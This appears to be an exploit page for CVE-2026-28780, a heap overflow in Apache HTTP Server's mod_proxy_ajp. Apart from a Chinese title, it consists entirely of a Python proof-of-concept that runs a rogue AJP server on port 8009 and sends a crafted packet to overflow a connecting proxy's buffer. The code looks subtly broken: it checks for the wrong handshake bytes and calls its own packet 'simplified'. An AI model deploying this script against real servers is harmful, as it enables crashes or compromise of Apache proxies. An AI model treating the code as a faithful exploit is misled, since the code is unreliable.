CVE-2026-28780 Apache HTTP Server 堆溢出漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-28780 (Apache HTTP Server mod_proxy_ajp Heap Overflow) This script simulates a malicious AJP server that sends a crafted message triggering the 4-byte heap overflow in mod_proxy_ajp. """ import socket import struct def create_malicious_ajp_message(): # AJP Magic Prefix magic = b'\x12\x34' # Length field: 2 bytes. Constructed to trigger the specific overflow condition. # The vulnerability allows writing 4 bytes past the end. # Adjusting this length based on the vulnerable buffer size calculation. payload_length = struct.pack('>H', 0x1000) # Attacker controlled 4 bytes that will be written past the buffer overflow_bytes = b'\x41\x42\x43\x44' # ASCII "ABCD" # Constructing the packet body (simplified representation) # The actual packet structure depends on the specific AJP message type being abused. packet_body = overflow_bytes return magic + payload_length + packet_body def start_malicious_server(listen_port=8009): server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_sock.bind(('0.0.0.0', listen_port)) server_sock.listen(5) print(f"[*] Malicious AJP server listening on port {listen_port}...") while True: client_sock, addr = server_sock.accept() print(f"[*] Connection received from {addr}") try: # Basic AJP handshake (simplified) data = client_sock.recv(1024) if b'\x41\x42' in data: # Check for AJP magic # Send handshake response client_sock.send(b'\x41\x42\x00\x01') # Wait for request from proxy client_sock.recv(4096) # Send the malicious payload payload = create_malicious_ajp_message() client_sock.send(payload) print("[*] Malicious payload sent. Triggering overflow.") except Exception as e: print(f"[!] Error: {e}") finally: client_sock.close() if __name__ == "__main__": start_malicious_server()